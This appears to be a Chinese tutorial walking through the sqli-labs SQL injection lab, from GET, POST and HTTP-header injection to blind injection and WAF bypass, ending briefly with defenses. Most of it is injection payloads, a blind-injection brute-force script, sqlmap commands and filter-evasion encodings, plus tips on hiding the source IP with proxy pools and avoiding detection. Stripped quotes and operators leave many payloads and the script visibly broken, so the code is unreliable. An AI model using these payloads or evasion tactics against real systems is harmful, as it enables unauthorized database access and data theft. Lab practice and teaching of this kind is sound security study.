
从GET到POST再到Cookiesqli-labs通关实战中那些‘刁钻’的注入点与绕过技巧在网络安全领域SQL注入始终是最具破坏力的漏洞之一。sqli-labs作为经典的SQL注入实战平台通过模拟各种真实场景帮助安全研究者深入理解不同请求方式下的注入技巧。本文将带您探索从简单GET参数到复杂HTTP头部的注入艺术揭示那些容易被忽视的刁钻注入点。1. GET型注入基础与变种GET请求是最常见的注入场景也是大多数安全测试的起点。在sqli-labs的前10关中开发者精心设计了各种闭合方式的变种考验测试者对SQL语句构造的理解深度。1.1 字符型与数字型的快速判别面对一个未知的注入点第一步永远是判断注入类型。这里有个实用技巧?id1-- # 单引号测试 ?id1-- # 双引号测试 ?id1))-- # 多层闭合测试通过观察页面返回差异可以快速确定闭合方式。例如在Less-3中错误提示暴露了括号的存在You have an error in your SQL syntax... near 1) LIMIT 0,11.2 非常规闭合的破解之道有些关卡会采用混合闭合方式比如Less-4的双引号加括号WHERE id(输入)此时需要构造?id1)--关键技巧当常规注入失败时尝试以下组合单引号括号)--双引号括号)--多层嵌套))--或)))--2. POST型注入表单的攻防艺术从Less-11开始战场转向POST请求。这种注入方式更隐蔽但基本原理相通只是传输方式从URL转向请求体。2.1 登录框的注入突破典型登录场景的SQL语句可能是SELECT * FROM users WHERE username$user AND password$pass突破方式是在用户名处构造永真条件admin--或更隐蔽的admin OR 112.2 多参数注入的协同攻击当存在多个输入框时可以组合利用输入位置注入payload作用用户名admin#注释掉密码验证密码1 OR (SELECT version())利用错误回显获取信息注意POST注入时注释符可能需要改用#而非--这与数据库配置有关3. HTTP头注入隐秘的攻击向量从Less-18开始注入点转移到HTTP头部这种场景在真实Web应用中越来越常见。3.1 User-Agent注入实战当应用记录客户端UA时可能构造User-Agent: OR (SELECT database()) OR Burp Suite操作步骤正常登录获取有效会话在Proxy历史记录中找到后续请求发送到Repeater模块修改UA头观察错误回显或延迟响应3.2 Cookie注入的精细操作Cookie注入(Less-20)需要先获取有效凭证然后篡改存储的cookie值Cookie: unameadmin UNION SELECT 1,version,3--绕过技巧当单引号被过滤时可以尝试十六进制编码0x61646D696E(admin)字符函数CHAR(97,100,109,105,110)4. 盲注的进阶技巧当页面没有明显回显时需要采用盲注技术。sqli-labs的Less-5之后关卡大量运用这种防御方式。4.1 布尔盲注的自动化基于页面差异的判断可以编写自动化脚本import requests def bool_injection(query): url http://target.com/Less-8/ for i in range(1,50): payload f1 AND ASCII(SUBSTR(({query}),{i},1))100-- if exists in requests.get(url,params{id:payload}).text: # 继续二分法判断具体ASCII值 ...4.2 时间盲注的精准控制当页面无任何差异时时间注入成为唯一选择。MySQL中典型payload1 AND IF(ASCII(SUBSTR(database(),1,1))100,SLEEP(3),0)--优化技巧使用BENCHMARK(10000000,MD5(NOW()))替代SLEEP通过响应时间标准差判断真假值结合DNS外带技术加速信息泄露5. 防御绕过的高级战术现代WAF会过滤常见关键词需要创造性绕过。5.1 等价函数替换被过滤函数替代方案SELECT(SELECT)或/!SELECT/OR||ANDLIKE,REGEXP,5.2 编码与注释技巧内联注释/*!50000select*/换行符绕过SE%0aLECTUnicode编码%u0053%u0045%u004C%u0045%u0043%u0054(SELECT)6. 工具链的实战配置合理使用工具能大幅提升效率以下是推荐的工作流侦察阶段Burp Suite抓包分析漏洞验证sqlmap基础检测sqlmap -u http://target.com/Less-1/?id1 --risk3 --level5深度利用自定义tamper脚本数据提取结合Python自动化避坑指南避免直接使用sqlmap的--dump-all可能触发防御高频请求前添加随机延迟敏感操作使用代理池隐藏源IP7. 从注入到防御的思维转换理解攻击手段的最终目的是构建更安全的系统。有效的防御策略包括预编译语句(PreparedStatement)最小权限原则输入白名单验证敏感错误信息过滤定期安全审计在sqli-labs的闯关过程中每解决一个难题都让我对Web安全有了更深的理解。特别是在处理Less-17的update注入时第一次意识到数据修改类SQL注入的破坏力。建议学习者在掌握基础后尝试修改关卡代码从开发者角度思考防御方案这种双向思维训练效果最佳。